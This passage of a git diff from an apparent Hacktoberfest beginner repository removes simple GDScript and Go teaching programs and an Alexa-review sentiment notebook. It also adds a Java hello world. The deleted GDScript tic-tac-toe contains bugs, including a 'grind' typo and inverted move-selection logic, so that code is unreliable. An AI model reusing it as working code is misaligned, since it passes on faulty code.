fish_color_keyword $blue -set -g fish_color_quote $yellow -set -g fish_color_redirection $foreground -set -g fish_color_end $orange -set -g fish_color_error $red -set -g fish_color_param $purple -set -g fish_color_comment $comment -set -g fish_color_selection --background=$selection -set -g fish_color_search_match --background=$selection -set -g fish_color_operator $green -set -g fish_color_escape $blue -set -g fish_color_autosuggestion $comment - -# Completion Pager Colors -set -g fish_pager_color_progress $comment -set -g fish_pager_color_prefix $cyan -set -g fish_pager_color_completion $foreground -set -g fish_pager_color_description $comment diff --git a/Add Code Here/GDSCRIPT/tic_tac_toe.gd b/Add Code Here/GDSCRIPT/tic_tac_toe.gd deleted file mode 100644 index babf838cf58..00000000000 --- a/Add Code Here/GDSCRIPT/tic_tac_toe.gd +++ /dev/null @@ -1,76 +0,0 @@ -# This is an AUTOMATIC TicTacToe script written in GDScript for Godot Engine 3.x -# Ported form a JAVA script > https://github.com/fenix-hub/Hacktoberfest2022/blob/fenixhub-code/Add%20Code%20Here/JAVA/TicTacToe.java - -const PLAYER_ONE: int = 1 -const PLAYER_TWO: int = 2 -const TOTAL_MOVES: int = 9 - -var grid: PoolIntArray = [ - [0,0,0], - [0,0,0], - [0,0,0] -] - -func _ready() -> void: - randomize() - - var match_won: bool = false - print_board() - var current_moves: int = 0 - var current_player: int = 0 - - while (current_moves < TOTAL_MOVES): - current_player = int(current_moves % 2 != 0) + 1 - play_move(current_player) - match_won = check_frame() - if match_won: - print("Player %s won!" % str(current_player)) - print_board() - return - - print_board() - current_moves += 1 - - if not match_won: - print("Game draw!") - -func print_board() -> void: - print("-------------") - for i in range(0,3): - for j in range(0,3): - var line: String = ("| " if j == 0 else "") + grid[i][j] + " | " - print(line) - print() - print("-------------") - print() - -func play_move(player: int) -> void: - var row: int - var column: int - while (true): - row = randi() % 3 - column = randi() % 3 - if (grid[row][column] == 0): - print("%s, %s is marked!" % [row, column]) - else: - break - grid[row][column] = player - -func check_frame() -> bool: - return (check_rows() or check_columns() or check_diagonals()) - -func check_rows() -> bool: - for i in grid[0].size(): - if (grid[i][0] == grid[i][1] == grid[i][2] != 0): - return true - return false - -func check_columns() -> bool: - for i in grid[0].size(): - if (grid[0][i] == grid[1][i] == grid[2][i] != 0): - return true - return false - -func check_diagonals() -> bool: - return (grid[0][0] == grid[1][1] == grind[2][2] != 0) or (grid[0][2] == grid[1][1] == grid[2][0] != 0) - diff --git a/Add Code Here/GO/Hello World!.go b/Add Code Here/GO/Hello World!.go deleted file mode 100644 index 3badf12538b..00000000000 --- a/Add Code Here/GO/Hello World!.go +++ /dev/null @@ -1,9 +0,0 @@ -// You can edit this code! -// Click here and start typing. -package main - -import "fmt" - -func main() { - fmt.Println("Hello, 世界") -} diff --git a/Add Code Here/GO/arrays.go b/Add Code Here/GO/arrays.go deleted file mode 100644 index 3669ed75b06..00000000000 --- a/Add Code Here/GO/arrays.go +++ /dev/null @@ -1,38 +0,0 @@ -package main - -import "fmt" - -type Room struct { - name string - cleaned bool -} - -// Must specify the number of array elements in the function parameters -func checkCleanliness(rooms [4]Room) { - for i := 0; i < len(rooms); i++ { - room := rooms[i] - if room.cleaned { - fmt.Println(room.name, "is clean") - } else { - fmt.Println(room.name, "is dirty") - } - } -} - -func main() { - rooms := [...]Room{ - {name: "Office"}, - {name: "Warehouse"}, - {name: "Reception"}, - {name: "Ops"}, - } - - checkCleanliness(rooms) - - fmt.Println("Performing cleaning...") - // Elements start at index 0 - rooms[2].cleaned = true // element 3 - rooms[3].cleaned = true // element 4 - - checkCleanliness(rooms) -} diff --git a/Add Code Here/GO/booking-app/helper.go b/Add Code Here/GO/booking-app/helper.go deleted file mode 100644 index 72441a66a54..00000000000 --- a/Add Code Here/GO/booking-app/helper.go +++ /dev/null @@ -1,10 +0,0 @@ -package main - -import "strings" - -func validateUserInput(firstName string, lastName string, email string, userTickets uint) (bool, bool, bool) { - isValidName := len(firstName) >= 2 && len(lastName) >= 2 - isValidEmail := strings.Contains(email, "@") - isValidTicketNumber := userTickets > 0 && userTickets <= remainingTickets - return isValidName, isValidEmail, isValidTicketNumber -} \ No newline at end of file diff --git a/Add Code Here/GO/booking-app/main.go b/Add Code Here/GO/booking-app/main.go deleted file mode 100644 index 93fac17525c..00000000000 --- a/Add Code Here/GO/booking-app/main.go +++ /dev/null @@ -1,124 +0,0 @@ -package main - -import ( - "fmt" - "time" - -) -const conferenceTickets int = 50 - -var conferenceName = "Go Conference" -var remainingTickets uint = 50 -var bookings = make([]UserData,0) - -type UserData struct { - firstName string - lastName string - email string - numberOfTickets uint -} - - -func main(){ - greetUsers() - - for { - firstName, lastName, email, userTickets := getUserInput() - isValidName, isValidEmail, isValidTicketNumber := validateUserInput(firstName, lastName, email, userTickets) - - if isValidName && isValidEmail && isValidTicketNumber { - - bookTicket(userTickets, firstName, lastName, email) - - - go sendTicket(userTickets, firstName, lastName, email) - - firstNames := getFirstNames() - fmt.Printf("The first names of bookings are: %v\n", firstNames) - - if remainingTickets == 0 { - // end program - fmt.Println("Our conference is booked out. Come back next year.") - // break - } - } else { - if !isValidName { - fmt.Println("first name or last name you entered is too short") - } - if !isValidEmail { - fmt.Println("email address you entered doesn't contain @ sign") - } - if !isValidTicketNumber { - fmt.Println("number of tickets you entered is invalid") - } - } - } - - } - - - - -func greetUsers(){ - fmt.Printf("Welcome to %v booking application\n", conferenceName) - fmt.Printf("We have total of %v tickets and %v are still available.\n", conferenceTickets, remainingTickets) - fmt.Printf("Get your tickets here to attend") -} -func getFirstNames() []string{ - firstNames := []string{} - for _, booking := range bookings{ - firstNames = append(firstNames, booking.firstName) - } - return firstNames - - -} - -func getUserInput()(string,string,string,uint){ - var firstName string - var lastName string - var email string - var userTickets uint - - - fmt.Println("Enter your first name: ") - fmt.Scan(&firstName) - - fmt.Println("Enter your last name: ") - fmt.Scan(&lastName) - - fmt.Println("Enter your email address: ") - fmt.Scan(&email) - - fmt.Println("Enter number of tickets: ") - fmt.Scan(&userTickets) - - return firstName, lastName, email, userTickets - - -} -func bookTicket(userTickets uint, firstName string, lastName string, email string ){ - remainingTickets = remainingTickets - userTickets - var UserData = UserData{ - firstName: firstName , - lastName: lastName, - email: email, - numberOfTickets: userTickets, - } - bookings = append(bookings, UserData) - fmt.Printf("List of bookings is %v/n", bookings) - - fmt.Printf("Thank you %v %v for booking %v tickets. You will receive a confirmation email at %v\n", firstName, lastName, userTickets, email) - fmt.Printf("%v tickets remaining for %v\n", remainingTickets, conferenceName) - - -} -func sendTicket(userTickets uint, firstName string , lastName string, email string){ - time.Sleep(20 * time.Second) - var ticket = fmt.Sprintf("%v tickets for %v %v", userTickets, firstName, lastName) - fmt.Println("#################") - fmt.Printf("Sending ticket:\n %v \nto email address %v\n", ticket, email) - fmt.Println("#################") - - -} \ No newline at end of file diff --git a/Add Code Here/GO/even_odd.go b/Add Code Here/GO/even_odd.go deleted file mode 100644 index a295b1b80e3..00000000000 --- a/Add Code Here/GO/even_odd.go +++ /dev/null @@ -1,16 +0,0 @@ -package main - -import "fmt" - -func main() { - numbers := []int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10} - - for _, num := range numbers { - fmt.Print(num, " is ") - if num%2 == 0 { - fmt.Println("even") - } else { - fmt.Println("odd") - } - } -} diff --git a/Add Code Here/GO/factorialRecursive.go b/Add Code Here/GO/factorialRecursive.go deleted file mode 100644 index 099fdface7a..00000000000 --- a/Add Code Here/GO/factorialRecursive.go +++ /dev/null @@ -1,20 +0,0 @@ -package main - -import ( - "fmt" -) - - -func factorialRecursive(value int) int { - if value == 1 { - return 1 - } else { - return value * factorialRecursive(value-1) - } -} - - -func main() { - recursive := factorialRecursive - fmt.Println(recursive(5)) -} diff --git a/Add Code Here/GO/fizzbuzz.go b/Add Code Here/GO/fizzbuzz.go deleted file mode 100644 index 1e56a2bea59..00000000000 --- a/Add Code Here/GO/fizzbuzz.go +++ /dev/null @@ -1,30 +0,0 @@ -package main - -import ( - "fmt" - "flag" -) - -var max *int = flag.Int("max", 0, "enter integer or bust!") - -func main() { - flag.Parse() - for i := 1; i <= *max; i++ { - fizzbuzz(i) - } -} - -func fizzbuzz(i int) { - fizz := "fizz" - buzz := "buzz" - - if i % 3 == 0 && i % 5 == 0 { - fmt.Println(i, fizz + buzz) - } else if i % 3 == 0 { - fmt.Println(i, fizz) - } else if i % 5 == 0 { - fmt.Println(i, buzz) - } else { - fmt.Println(i) - } -} diff --git a/Add Code Here/GO/helloWorld.go b/Add Code Here/GO/helloWorld.go deleted file mode 100644 index 9c510fa3ce1..00000000000 --- a/Add Code Here/GO/helloWorld.go +++ /dev/null @@ -1,10 +0,0 @@ -// First Go program -package main - -import "fmt" - -// Main function -func main() { - - fmt.Println("!... Hello World ...!") -} \ No newline at end of file diff --git a/Add Code Here/GO/maps.go b/Add Code Here/GO/maps.go deleted file mode 100644 index cb31e666847..00000000000 --- a/Add Code Here/GO/maps.go +++ /dev/null @@ -1,32 +0,0 @@ -package main - -import "fmt" - -func main() { - shoppingList := make(map[string]int) - shoppingList["eggs"] = 11 - shoppingList["milk"] = 1 - shoppingList["bread"] += 1 - shoppingList["eggs"] += 1 - fmt.Println(shoppingList) - - delete(shoppingList, "milk") - fmt.Println(shoppingList) - - fmt.Println("need", shoppingList["eggs"], "eggs") - - cereal, found := shoppingList["cereal"] - fmt.Println("Need cereal?") - if !found { - fmt.Println("nope") - } else { - fmt.Println("yup:", cereal, "boxes") - } - - totalItems := 0 - for _, amount := range shoppingList { - totalItems += amount - } - fmt.Println("There are", totalItems, "on the shopping list") - -} diff --git a/Add Code Here/GO/palindrome.go b/Add Code Here/GO/palindrome.go deleted file mode 100644 index 2e768661871..00000000000 --- a/Add Code Here/GO/palindrome.go +++ /dev/null @@ -1,18 +0,0 @@ -package main - -import "fmt" - -func main() { - str := "katak" - fmt.Printf("String : '%s' palindrome status : %t\n", str, isPalindrome(str)) -} - -func isPalindrome(str string) bool { - lastIdx := len(str) - 1 - for i := 0; i < lastIdx/2 && i < (lastIdx-i); i++ { - if str[i] != str[lastIdx-i] { - return false - } - } - return true -} \ No newline at end of file diff --git a/Add Code Here/GO/pointers.go b/Add Code Here/GO/pointers.go deleted file mode 100644 index 8f17d207c36..00000000000 --- a/Add Code Here/GO/pointers.go +++ /dev/null @@ -1,38 +0,0 @@ -package main - -import "fmt" - -type Counter struct { - hits int -} - -func increment(counter *Counter) { - // Using dot notation automatically dereferences. No asterisk(*) needed. - counter.hits += 1 - fmt.Println("Counter", counter) -} - -func replace(old *string, new string, counter *Counter) { - *old = new - increment(counter) -} - -func main() { - counter := Counter{} - - hello := "Hello" - world := "World!" - fmt.Println(hello, world) - - // Pointer to hello - replace(&hello, "Hi", &counter) - fmt.Println(hello, world) - - phrase := []string{hello, world} - fmt.Println(phrase) - - // Pointer to `world` in the `phrase` slice - replace(&phrase[1], "Go!", &counter) - fmt.Println(phrase) - -} diff --git a/Add Code Here/GO/ranges.go b/Add Code Here/GO/ranges.go deleted file mode 100644 index c41c553ea5f..00000000000 --- a/Add Code Here/GO/ranges.go +++ /dev/null @@ -1,17 +0,0 @@ -package main - -import "fmt" - -func main() { - slice := []string{"Hello", "world", "!"} - - // i is the index - for i, element := range slice { - fmt.Println(i, element, ":") - // values can be ignore with an underscore - for _, ch := range element { - // %q prints out the value as a rune/string - fmt.Printf(" %q\n", ch) - } - } -} diff --git a/Add Code Here/GO/slices.go b/Add Code Here/GO/slices.go deleted file mode 100644 index 550cce3a086..00000000000 --- a/Add Code Here/GO/slices.go +++ /dev/null @@ -1,27 +0,0 @@ -package main - -import "fmt" - -func printSlice(title string, slice []string) { - fmt.Println() - fmt.Println("---", title, "---") - for i := 0; i < len(slice); i++ { - element := slice[i] - fmt.Println(element) - } -} - -func main() { - route := []string{"Grocery", "Department Store", "Salon"} - printSlice("Route 1", route) - - route = append(route, "Home") - printSlice("Route 2", route) - - fmt.Println() - fmt.Println(route[0], "visited") - fmt.Println(route[1], "visited") - - route = route[2:] - printSlice("Remaining locations", route) -} diff --git a/Add Code Here/GO/structs.go b/Add Code Here/GO/structs.go deleted file mode 100644 index cd836f5ef1a..00000000000 --- a/Add Code Here/GO/structs.go +++ /dev/null @@ -1,44 +0,0 @@ -package main - -import "fmt" - -type Passenger struct { - Name string - TicketNumber int - Boarded bool -} - -type Bus struct { - FrontSeat Passenger -} - -func main() { - casey := Passenger{"Casey", 1, false} - fmt.Println(casey) - - var ( - bill = Passenger{Name: "Bill", TicketNumber: 2} - ella = Passenger{Name: "Ella", TicketNumber: 2} - ) - fmt.Println(bill, ella) - - var heidi Passenger - heidi.Name = "Heidi" - heidi.TicketNumber = 4 - fmt.Println(heidi) - - casey.Boarded = true - bill.Boarded = true - if bill.Boarded { - fmt.Println("Bill has boarded the bus") - } - if casey.Boarded { - fmt.Println("Casey has boarded the bus") - } - - heidi.Boarded = true - bus := Bus{heidi} - fmt.Println(bus) - fmt.Println(bus.FrontSeat.Name, "is in the front seat") - -} diff --git a/Add Code Here/Hello.java b/Add Code Here/Hello.java new file mode 100644 index 00000000000..70fd33057b2 --- /dev/null +++ b/Add Code Here/Hello.java @@ -0,0 +1,5 @@ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("Hello, World!"); + } +} diff --git a/Add Code Here/IPYNB/Amazon_Alexa_Reviews_Analysis.ipynb b/Add Code Here/IPYNB/Amazon_Alexa_Reviews_Analysis.ipynb deleted file mode 100644 index 3454fa680d4..00000000000 --- a/Add Code Here/IPYNB/Amazon_Alexa_Reviews_Analysis.ipynb +++ /dev/null @@ -1,1028 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Amazon Alexa Reviews Analysis" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### The aim is to analyse Alexa's reviews by NLP. If the feedback is positive, the result is 1, else it is 0. Using logistic regression, I have tried to classify the feedback as positive or negative." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "[nltk_data] Downloading package stopwords to\n", - "[nltk_data] C:\\Users\\DELL\\AppData\\Roaming\\nltk_data...\n", - "[nltk_data] Package stopwords is already up-to-date!\n" - ] - } - ], - "source": [ - "import pandas as pd\n", - "import nltk \n", - "nltk.download('stopwords') # download the stopwords from NLTK\n", - "\n", - "import re # library for regular expression operations\n", - "import string # for string operations\n", - "\n", - "from nltk.corpus import stopwords # module for stop words that come with NLTK\n", - "from nltk.stem import PorterStemmer # module for stemming\n", - "from nltk.tokenize import TweetTokenizer # module for tokenizing strings\n", - "\n", - "from sklearn.linear_model import LogisticRegression \n", - "from sklearn.feature_extraction.text import CountVectorizer \n", - "from sklearn.model_selection import train_test_split \n", - "from sklearn.metrics import roc_auc_score\n", - "from sklearn.metrics import confusion_matrix\n", - "import matplotlib.pyplot as plt # library for visualization\n", - "import seaborn as sns" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Getting our Data" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
ratingdatevariationverified_reviewsfeedback
0531-Jul-18Charcoal FabricLove my Echo!1
1531-Jul-18Charcoal FabricLoved it!1
2431-Jul-18Walnut FinishSometimes while playing a game, you can answer...1
3531-Jul-18Charcoal FabricI have had a lot of fun with this thing. My 4 ...1
4531-Jul-18Charcoal FabricMusic1
..................
3145530-Jul-18Black DotPerfect for kids, adults and everyone in betwe...1
3146530-Jul-18Black DotListening to music, searching locations, check...1
3147530-Jul-18Black DotI do love these things, i have them running my...1
3148530-Jul-18White DotOnly complaint I have is that the sound qualit...1
3149429-Jul-18Black DotGood1
\n", - "

3150 rows × 5 columns

\n", - "
" - ], - "text/plain": [ - " rating date variation \\\n", - "0 5 31-Jul-18 Charcoal Fabric \n", - "1 5 31-Jul-18 Charcoal Fabric \n", - "2 4 31-Jul-18 Walnut Finish \n", - "3 5 31-Jul-18 Charcoal Fabric \n", - "4 5 31-Jul-18 Charcoal Fabric \n", - "... ... ... ... \n", - "3145 5 30-Jul-18 Black Dot \n", - "3146 5 30-Jul-18 Black Dot \n", - "3147 5 30-Jul-18 Black Dot \n", - "3148 5 30-Jul-18 White Dot \n", - "3149 4 29-Jul-18 Black Dot \n", - "\n", - " verified_reviews feedback \n", - "0 Love my Echo! 1 \n", - "1 Loved it! 1 \n", - "2 Sometimes while playing a game, you can answer... 1 \n", - "3 I have had a lot of fun with this thing. My 4 ... 1 \n", - "4 Music 1 \n", - "... ... ... \n", - "3145 Perfect for kids, adults and everyone in betwe... 1 \n", - "3146 Listening to music, searching locations, check... 1 \n", - "3147 I do love these things, i have them running my... 1 \n", - "3148 Only complaint I have is that the sound qualit... 1 \n", - "3149 Good 1 \n", - "\n", - "[3150 rows x 5 columns]" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df = pd.read_csv(r'../Dataset/amazon_alexa.csv')\n", - "df" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Data Preprocessing" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
verified_reviewsfeedback
0Love my Echo!1
1Loved it!1
2Sometimes while playing a game, you can answer...1
3I have had a lot of fun with this thing. My 4 ...1
4Music1
.........
3145Perfect for kids, adults and everyone in betwe...1
3146Listening to music, searching locations, check...1
3147I do love these things, i have them running my...1
3148Only complaint I have is that the sound qualit...1
3149Good1
\n", - "

3150 rows × 2 columns

\n", - "
" - ], - "text/plain": [ - " verified_reviews feedback\n", - "0 Love my Echo! 1\n", - "1 Loved it! 1\n", - "2 Sometimes while playing a game, you can answer... 1\n", - "3 I have had a lot of fun with this thing. My 4 ... 1\n", - "4 Music 1\n", - "... ... ...\n", - "3145 Perfect for kids, adults and everyone in betwe... 1\n", - "3146 Listening to music, searching locations, check... 1\n", - "3147 I do love these things, i have them running my... 1\n", - "3148 Only complaint I have is that the sound qualit... 1\n", - "3149 Good 1\n", - "\n", - "[3150 rows x 2 columns]" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df = df.drop(['rating', 'date', 'variation'], axis = 1)\n", - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "verified_reviews False\n", - "feedback False\n", - "dtype: bool" - ] - }, - "execution_count": 4, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.isnull().any() # checking for null values" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "\n", - "RangeIndex: 3150 entries, 0 to 3149\n", - "Data columns (total 2 columns):\n", - " # Column Non-Null Count Dtype \n", - "--- ------ -------------- ----- \n", - " 0 verified_reviews 3150 non-null object\n", - " 1 feedback 3150 non-null int64 \n", - "dtypes: int64(1), object(1)\n", - "memory usage: 49.3+ KB\n" - ] - } - ], - "source": [ - "df.info()" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "def process_rev(rev):\n", - " \"\"\"Process review function.\n", - " Input:\n", - " rev: a string containing a review\n", - " Output:\n", - " rev_clean: a list of words containing the processed review\n", - "\n", - " \"\"\"\n", - " stemmer = PorterStemmer()\n", - " stopwords_english = stopwords.words('english')\n", - " # tokenize reviews\n", - " tokenizer = TweetTokenizer(preserve_case=False, strip_handles=True,\n", - " reduce_len=True)\n", - " rev_tokens = tokenizer.tokenize(rev)\n", - "\n", - " rev_clean = []\n", - " for word in rev_tokens:\n", - " if (word not in stopwords_english and # remove stopwords\n", - " word not in string.punctuation): # remove punctuation\n", - " # rev_clean.append(word)\n", - " stem_word = stemmer.stem(word) # stemming word\n", - " rev_clean.append(stem_word)\n", - "\n", - " return rev_clean" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
verified_reviewsfeedback
0[love, echo]1
1[love]1
2[sometim, play, game, answer, question, correc...1
3[lot, fun, thing, 4, yr, old, learn, dinosaur,...1
4[music]1
.........
3145[perfect, kid, adult, everyon]1
3146[listen, music, search, locat, check, time, lo...1
3147[love, thing, run, entir, home, tv, light, the...1
3148[complaint, sound, qualiti, great, mostli, use...1
3149[good]1
\n", - "

3150 rows × 2 columns

\n", - "
" - ], - "text/plain": [ - " verified_reviews feedback\n", - "0 [love, echo] 1\n", - "1 [love] 1\n", - "2 [sometim, play, game, answer, question, correc... 1\n", - "3 [lot, fun, thing, 4, yr, old, learn, dinosaur,... 1\n", - "4 [music] 1\n", - "... ... ...\n", - "3145 [perfect, kid, adult, everyon] 1\n", - "3146 [listen, music, search, locat, check, time, lo... 1\n", - "3147 [love, thing, run, entir, home, tv, light, the... 1\n", - "3148 [complaint, sound, qualiti, great, mostli, use... 1\n", - "3149 [good] 1\n", - "\n", - "[3150 rows x 2 columns]" - ] - }, - "execution_count": 7, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# using the process_rev function for:\n", - "# 1. Removing stop words\n", - "# 2. Tokenization\n", - "# 3. Stemming\n", - "A = []\n", - "a = df['verified_reviews']\n", - "for i in a:\n", - " i = process_rev(i)\n", - " A.append(i)\n", - "df['verified_reviews'] = A\n", - "df" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Vectorizing" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [], - "source": [ - "cv = CountVectorizer(max_features=1500, analyzer='word', lowercase=False) " - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [], - "source": [ - "df['verified_reviews'] = df['verified_reviews'].apply(lambda x: \" \".join(x) ) # to join all words in the lists\n", - "X = cv.fit_transform(df['verified_reviews']) # predictor variable 'X'" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
verified_reviewsfeedback
0love echo1
1love1
2sometim play game answer question correctli al...1
3lot fun thing 4 yr old learn dinosaur control ...1
4music1
.........
3145perfect kid adult everyon1
3146listen music search locat check time look weat...1
3147love thing run entir home tv light thermostat ...1
3148complaint sound qualiti great mostli use comma...1
3149good1
\n", - "

3150 rows × 2 columns

\n", - "
" - ], - "text/plain": [ - " verified_reviews feedback\n", - "0 love echo 1\n", - "1 love 1\n", - "2 sometim play game answer question correctli al... 1\n", - "3 lot fun thing 4 yr old learn dinosaur control ... 1\n", - "4 music 1\n", - "... ... ...\n", - "3145 perfect kid adult everyon 1\n", - "3146 listen music search locat check time look weat... 1\n", - "3147 love thing run entir home tv light thermostat ... 1\n", - "3148 complaint sound qualiti great mostli use comma... 1\n", - "3149 good 1\n", - "\n", - "[3150 rows x 2 columns]" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
feedback
01
11
21
31
41
\n", - "
" - ], - "text/plain": [ - " feedback\n", - "0 1\n", - "1 1\n", - "2 1\n", - "3 1\n", - "4 1" - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y = pd.DataFrame(df['feedback']) # respose variable 'y'\n", - "y.head()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Splitting for Training and Testing" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [], - "source": [ - "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state = 0) # splitting in the ratio 80:20" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Model" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\DELL\\anaconda3\\lib\\site-packages\\sklearn\\utils\\validation.py:63: DataConversionWarning: A column-vector y was passed when a 1d array was expected. Please change the shape of y to (n_samples, ), for example using ravel().\n", - " return f(*args, **kwargs)\n" - ] - }, - { - "data": { - "text/plain": [ - "LogisticRegression(random_state=0)" - ] - }, - "execution_count": 13, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "classifier = LogisticRegression(random_state = 0)\n", - "classifier.fit(X_train, y_train)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Making Predictions" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1,\n", - " 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 